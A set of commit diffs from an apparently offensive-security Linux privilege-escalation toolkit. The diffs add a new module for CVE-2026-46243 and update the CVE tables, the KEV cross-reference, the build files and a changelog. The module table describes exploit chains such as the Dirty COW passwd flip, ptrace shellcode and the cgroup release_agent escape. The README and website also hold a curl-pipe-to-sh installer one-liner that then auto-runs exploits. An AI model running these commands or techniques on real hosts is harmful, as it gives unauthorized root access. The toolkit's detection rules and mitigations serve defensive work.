Compare commits
3 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| ada56b0db3 | |||
| 28a9289989 | |||
| e457b22c1f |
@@ -23,14 +23,14 @@ Status legend:
|
||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||
historical reference only
|
||||
|
||||
**Counts:** 41 modules total covering 36 CVEs; **28 of 36 CVEs
|
||||
**Counts:** 42 modules total covering 37 CVEs; **28 of 37 CVEs
|
||||
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
|
||||
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
|
||||
*candidate* with no module, not counted as a module.)
|
||||
|
||||
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
|
||||
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
|
||||
> `ptrace_pidfd` / `sudo_host` are blocked by their target environment (VMware-only,
|
||||
> `ptrace_pidfd` / `sudo_host` / `cifswitch` are blocked by their target environment (VMware-only,
|
||||
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
|
||||
> libs) or are brand-new this cycle, not by missing code. See
|
||||
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
@@ -75,7 +75,7 @@ root on a host can upstream their kernel's offsets via PR.
|
||||
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
|
||||
| CVE-2016-5195 | Dirty COW — COW race via /proc/self/mem + madvise | LPE (page-cache write into root-owned files) | mainline 4.9 (Oct 2016) | `dirty_cow` | 🟢 | Full detect + exploit + cleanup. **Old-systems coverage** — affects RHEL 6/7 (3.10 baseline), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT. Phil-Oester-style two-thread race: writer thread via `/proc/self/mem` vs madvise(MADV_DONTNEED) thread. Targets /etc/passwd UID flip + `su`. Ships auditd watch on /proc/self/mem + sigma rule for non-root mem-open. Pthread-linked. |
|
||||
| CVE-2019-13272 | PTRACE_TRACEME → setuid execve → cred escalation | LPE (kernel ptrace race; no exotic preconditions) | mainline 5.1.17 (Jun 2019) | `ptrace_traceme` | 🟢 | Full detect + exploit. Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17. jannh-style: fork → child `PTRACE_TRACEME` → child sleep+attach → parent `execve` setuid bin (pkexec/su/passwd auto-selected) → child wins stale-ptrace_link → POKETEXT x86_64 shellcode → root sh. x86_64-only; ARM/other return PRECOND_FAIL cleanly. |
|
||||
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
|
||||
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. **Added to CISA KEV 2026-06-02 — now confirmed exploited in the wild.** |
|
||||
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
|
||||
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
|
||||
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
||||
@@ -95,6 +95,7 @@ root on a host can upstream their kernel's offsets via PR.
|
||||
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
||||
| CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race → `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟡 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context — honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. |
|
||||
| CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. |
|
||||
| CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; exploit full-chain not yet VM-verified.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. |
|
||||
|
||||
## Operations supported per module
|
||||
|
||||
|
||||
@@ -232,6 +232,11 @@ SUH_DIR := modules/sudo_host_cve_2025_32462
|
||||
SUH_SRCS := $(SUH_DIR)/skeletonkey_modules.c
|
||||
SUH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUH_SRCS))
|
||||
|
||||
# CVE-2026-46243 CIFSwitch — cifs.spnego userspace-forged key trust (Asim Manizada)
|
||||
CIW_DIR := modules/cifswitch_cve_2026_46243
|
||||
CIW_SRCS := $(CIW_DIR)/skeletonkey_modules.c
|
||||
CIW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CIW_SRCS))
|
||||
|
||||
# Top-level dispatcher
|
||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||
|
||||
@@ -245,7 +250,7 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
|
||||
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
|
||||
$(PPF_OBJS) $(SUH_OBJS)
|
||||
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS)
|
||||
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
|
||||
@@ -5,13 +5,14 @@
|
||||
[](docs/VERIFICATIONS.jsonl)
|
||||
[](#)
|
||||
|
||||
> **One curated binary. 41 Linux LPE modules covering 36 CVEs from 2016 → 2026.
|
||||
> **One curated binary. 42 Linux LPE modules covering 37 CVEs from 2016 → 2026.
|
||||
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
|
||||
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
|
||||
> the safest one and runs it.**
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
@@ -44,8 +45,8 @@ for every CVE in the bundle — same project for red and blue teams.
|
||||
|
||||
## Corpus at a glance
|
||||
|
||||
**41 modules covering 36 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **28 of the 36 CVEs have been empirically verified** in real
|
||||
**42 modules covering 37 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **28 of the 37 CVEs have been empirically verified** in real
|
||||
Linux VMs via `tools/verify-vm/`; the 8 still-pending entries are
|
||||
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
||||
the t64-transition libc rollout) or are brand-new additions awaiting a
|
||||
@@ -67,7 +68,7 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||
|
||||
### Empirical verification (28 of 36 CVEs)
|
||||
### Empirical verification (28 of 37 CVEs)
|
||||
|
||||
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
||||
each verdict against a known-target VM. Coverage:
|
||||
@@ -136,7 +137,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
$ skeletonkey --auto --i-know
|
||||
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||
[*] auto: scanning 41 modules for vulnerabilities...
|
||||
[*] auto: scanning 42 modules for vulnerabilities...
|
||||
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||
@@ -205,10 +206,14 @@ also compile (modules with Linux-only headers stub out gracefully).
|
||||
|
||||
## Status
|
||||
|
||||
**v0.9.8 cut 2026-06-02.** 41 modules across 36 CVEs — **every
|
||||
year 2016 → 2026 now covered**. Newest: `ptrace_pidfd` (CVE-2026-46333,
|
||||
Qualys's `__ptrace_may_access` / `pidfd_getfd` credential-steal) and
|
||||
`sudo_host` (CVE-2025-32462, Stratascale's sudo `--host` policy bypass).
|
||||
**v0.9.10 cut 2026-06-08.** 42 modules across 37 CVEs — **every
|
||||
year 2016 → 2026 now covered**. Newest: `cifswitch` (CVE-2026-46243,
|
||||
Asim Manizada's "CIFSwitch" — the `cifs.spnego` key type trusts
|
||||
userspace-forged authority fields, coercing the root `cifs.upcall` helper
|
||||
into loading an attacker NSS module as root), `ptrace_pidfd`
|
||||
(CVE-2026-46333, Qualys's `__ptrace_may_access` / `pidfd_getfd`
|
||||
credential-steal), and `sudo_host` (CVE-2025-32462, Stratascale's sudo
|
||||
`--host` policy bypass).
|
||||
v0.9.0 added 5 gap-fillers
|
||||
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
|
||||
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
|
||||
@@ -238,19 +243,19 @@ Reliability + accuracy work in v0.7.x:
|
||||
trace, OPSEC footprint, detection-rule coverage, verified-on
|
||||
records. Paste-into-ticket ready.
|
||||
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
|
||||
CISA KEV catalog + NVD CWE; 12 of 34 modules cover KEV-listed CVEs.
|
||||
CISA KEV catalog + NVD CWE; 13 of 37 modules cover KEV-listed CVEs.
|
||||
- **151 detection rules** across auditd / sigma / yara / falco; one
|
||||
command exports the corpus to your SIEM.
|
||||
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
||||
exploit, structured verdict table, scan summary, `--dry-run`.
|
||||
|
||||
Not yet verified (8 of 36 CVEs): `vmwgfx` (VMware-guest only),
|
||||
Not yet verified (9 of 37 CVEs): `vmwgfx` (VMware-guest only),
|
||||
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
|
||||
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
|
||||
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
|
||||
Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
|
||||
libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
|
||||
(brand-new this cycle, sweep pending). Rationale in
|
||||
+ `cifswitch` (brand-new this cycle, sweep pending). Rationale in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||
|
||||
+19
-11
@@ -121,8 +121,8 @@ const struct cve_metadata cve_metadata_table[] = {
|
||||
.cwe = "CWE-287",
|
||||
.attack_technique = "T1611",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2026-06-02",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0847",
|
||||
@@ -236,6 +236,14 @@ const struct cve_metadata cve_metadata_table[] = {
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32462",
|
||||
.cwe = "CWE-863",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32463",
|
||||
.cwe = "CWE-829",
|
||||
@@ -276,6 +284,14 @@ const struct cve_metadata cve_metadata_table[] = {
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46243",
|
||||
.cwe = "CWE-20",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46300",
|
||||
.cwe = "CWE-787",
|
||||
@@ -286,15 +302,7 @@ const struct cve_metadata cve_metadata_table[] = {
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46333",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32462",
|
||||
.cwe = "CWE-863",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
|
||||
@@ -57,6 +57,7 @@ void skeletonkey_register_vsock_uaf(void);
|
||||
void skeletonkey_register_nft_pipapo(void);
|
||||
void skeletonkey_register_ptrace_pidfd(void);
|
||||
void skeletonkey_register_sudo_host(void);
|
||||
void skeletonkey_register_cifswitch(void);
|
||||
|
||||
/* Call every skeletonkey_register_<family>() above in canonical order.
|
||||
* Single source of truth so the main binary and the test binary stay
|
||||
|
||||
@@ -53,4 +53,5 @@ void skeletonkey_register_all_modules(void)
|
||||
skeletonkey_register_nft_pipapo();
|
||||
skeletonkey_register_ptrace_pidfd();
|
||||
skeletonkey_register_sudo_host();
|
||||
skeletonkey_register_cifswitch();
|
||||
}
|
||||
|
||||
+21
-12
@@ -122,8 +122,8 @@
|
||||
"cwe": "CWE-287",
|
||||
"attack_technique": "T1611",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2026-06-02"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0847",
|
||||
@@ -251,6 +251,15 @@
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-32462",
|
||||
"module_dir": "sudo_host_cve_2025_32462",
|
||||
"cwe": "CWE-863",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-32463",
|
||||
"module_dir": "sudo_chwoot_cve_2025_32463",
|
||||
@@ -296,6 +305,15 @@
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46243",
|
||||
"module_dir": "cifswitch_cve_2026_46243",
|
||||
"cwe": "CWE-20",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46300",
|
||||
"module_dir": "fragnesia_cve_2026_46300",
|
||||
@@ -308,16 +326,7 @@
|
||||
{
|
||||
"cve": "CVE-2026-46333",
|
||||
"module_dir": "ptrace_pidfd_cve_2026_46333",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-32462",
|
||||
"module_dir": "sudo_host_cve_2025_32462",
|
||||
"cwe": "CWE-863",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
|
||||
@@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited
|
||||
in the wild per the Known Exploited Vulnerabilities catalog.
|
||||
Refreshed via `tools/refresh-cve-metadata.py`.
|
||||
|
||||
**12 of 34 modules cover KEV-listed CVEs.**
|
||||
**13 of 37 modules cover KEV-listed CVEs.**
|
||||
|
||||
## In KEV (prioritize patching)
|
||||
|
||||
@@ -22,6 +22,7 @@ Refreshed via `tools/refresh-cve-metadata.py`.
|
||||
| CVE-2025-32463 | 2025-09-29 | CWE-829 | `sudo_chwoot_cve_2025_32463` |
|
||||
| CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
|
||||
| CVE-2018-14634 | 2026-01-26 | CWE-190 | `mutagen_astronomy_cve_2018_14634` |
|
||||
| CVE-2022-0492 | 2026-06-02 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
|
||||
|
||||
## Not in KEV
|
||||
|
||||
@@ -36,7 +37,6 @@ and are technically reachable. "Not in KEV" is not the same as
|
||||
| CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
|
||||
| CVE-2020-29661 | CWE-416 | `tioscpgrp_cve_2020_29661` |
|
||||
| CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
|
||||
| CVE-2022-0492 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
|
||||
| CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
|
||||
| CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
|
||||
| CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
|
||||
@@ -48,8 +48,11 @@ and are technically reachable. "Not in KEV" is not the same as
|
||||
| CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
|
||||
| CVE-2024-26581 | ? | `nft_pipapo_cve_2024_26581` |
|
||||
| CVE-2024-50264 | CWE-416 | `vsock_uaf_cve_2024_50264` |
|
||||
| CVE-2025-32462 | CWE-863 | `sudo_host_cve_2025_32462` |
|
||||
| CVE-2025-6019 | CWE-250 | `udisks_libblockdev_cve_2025_6019` |
|
||||
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
|
||||
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
|
||||
| CVE-2026-43494 | ? | `pintheft_cve_2026_43494` |
|
||||
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
|
||||
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
|
||||
| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |
|
||||
|
||||
@@ -26,6 +26,7 @@ haven't been maintained in years.
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
|
||||
@@ -1,3 +1,79 @@
|
||||
## SKELETONKEY v0.9.10 — new LPE module: cifswitch (CVE-2026-46243)
|
||||
|
||||
Adds **`cifswitch` — CVE-2026-46243 "CIFSwitch"** (Asim Manizada,
|
||||
2026-05-28), taking the corpus to **42 modules / 37 CVEs**. The newest
|
||||
kernel-7-era LPE not already covered: a ~19-year-old logic flaw in
|
||||
`fs/smb/client/cifs_spnego.c` where the `cifs.spnego` request-key type
|
||||
accepts key descriptions created by *userspace* (`add_key(2)` /
|
||||
`request_key(2)`) without verifying the request came from the in-kernel
|
||||
CIFS client. The description carries authority-bearing fields
|
||||
(`pid`/`uid`/`creduid`/`upcall_target`) that the root `cifs.upcall`
|
||||
helper trusts as kernel-originating; combined with user+mount namespace
|
||||
tricks, an unprivileged user coerces `cifs.upcall` into loading an
|
||||
attacker NSS module as root. Fixed upstream by `3da1fdf4efbc` (merged
|
||||
7.1-rc5); NVD class CWE-20; not in CISA KEV.
|
||||
|
||||
🟡 **Honest port — full chain not VM-verified.** `detect()` gates on the
|
||||
kernel version (Debian backports 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10)
|
||||
**and** on the presence of the vulnerable userspace path — a vulnerable
|
||||
kernel without `cifs-utils` reports `PRECOND_FAIL`, not a false
|
||||
`VULNERABLE` (override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1`
|
||||
/`0`). `exploit()` fires only the non-destructive primitive — `add_key(2)`
|
||||
of a forged-but-benign `cifs.spnego` key, which does **not** invoke
|
||||
`cifs.upcall` and loads nothing, revoked immediately — and treats a clean
|
||||
accept as the empirical witness that userspace can forge the
|
||||
authority-bearing key type. It then stops: the namespace-switch +
|
||||
malicious-NSS-load root-pop is target/config-specific and is not bundled
|
||||
until VM-verified, so it returns honest `EXPLOIT_FAIL` without a euid-0
|
||||
witness (never fabricates root). `--mitigate` blocklists the `cifs`
|
||||
module (`/etc/modprobe.d/skeletonkey-disable-cifs.conf`); `--cleanup`
|
||||
reverts. Structural, arch-agnostic (keyring + namespace logic, no
|
||||
shellcode). Ships auditd + sigma + falco rules, MITRE ATT&CK T1068 +
|
||||
CWE-20 metadata, six new `detect()` unit-test rows, and credits Asim
|
||||
Manizada in `NOTICE.md`. Not yet VM-verified (sweep pending in
|
||||
`tools/verify-vm/targets.yaml`), so the verified count stays 28 of 37.
|
||||
|
||||
## SKELETONKEY v0.9.9 — install.sh needs no root; CVE-2022-0492 KEV drift
|
||||
|
||||
Two maintenance fixes, no new modules.
|
||||
|
||||
**`install.sh` never escalates to sudo.** SKELETONKEY is a privilege-
|
||||
escalation tool — the operator by definition does *not* have root yet, so
|
||||
the installer must not demand it. The old default wrote to `/usr/local/bin`
|
||||
and fell back to `sudo mv` when that wasn't writable, prompting for a
|
||||
password on exactly the unprivileged accounts this tool targets. It now
|
||||
installs sudo-free: `/usr/local/bin` is used only when already writable,
|
||||
otherwise it falls back to a per-user `$HOME/.local/bin` (honoring
|
||||
`XDG_BIN_HOME`), created as needed. An explicit `SKELETONKEY_PREFIX` is
|
||||
honored exactly and errors rather than escalating if unwritable. When the
|
||||
chosen dir isn't on `$PATH` the installer prints the absolute path, and the
|
||||
documented `curl … | sh && skeletonkey --auto --i-know` one-liner now
|
||||
prepends `$HOME/.local/bin` to `$PATH` so it resolves on a fresh login. The
|
||||
quickstart no longer prefixes `sudo` to `--scan`/`--audit`/`--auto` —
|
||||
detection and escalation run as the unprivileged user; only writing audit
|
||||
rules into `/etc/audit` legitimately needs root.
|
||||
|
||||
**Federal metadata drift (the failing scheduled build).** The weekly
|
||||
`drift-check` caught two upstream changes since v0.9.8:
|
||||
|
||||
- **CVE-2022-0492 entered CISA KEV (2026-06-02).** The cgroup v1
|
||||
`release_agent` container-escape (`cgroup_release_agent`) is now on the
|
||||
Known Exploited Vulnerabilities catalog. The corpus reports **13 of 36**
|
||||
modules covering KEV-listed CVEs (was 12).
|
||||
- **CVE-2026-46333 gained a CWE.** When `ptrace_pidfd` was added two weeks
|
||||
after disclosure, NVD had not yet classified it; it is now **CWE-269**
|
||||
(Improper Privilege Management).
|
||||
|
||||
A third, latent cause kept the gate red even after those two: when
|
||||
`sudo_host` (CVE-2025-32462) was added in v0.9.8 its record was appended to
|
||||
the *end* of `CVE_METADATA.json`, but the drift check compares the record
|
||||
list in `discover_cves()`'s sorted order — so the out-of-order entry read
|
||||
as drift regardless of its values. Regenerating via the script restores
|
||||
sorted order.
|
||||
|
||||
Refreshed `CVE_METADATA.json`, the generated `cve_metadata.c` table, and
|
||||
`KEV_CROSSREF.md` accordingly (README + website counts updated).
|
||||
|
||||
## SKELETONKEY v0.9.8 — two new LPE modules (ptrace_pidfd, sudo_host)
|
||||
|
||||
Adds the two most compelling recent Linux LPEs not already in the corpus,
|
||||
|
||||
+1
-1
@@ -10,7 +10,7 @@
|
||||
* 1. typed install command in the hero
|
||||
* ============================================================ */
|
||||
const installCmd =
|
||||
'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && skeletonkey --auto --i-know';
|
||||
'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && export PATH="$HOME/.local/bin:$PATH" \\\n && skeletonkey --auto --i-know';
|
||||
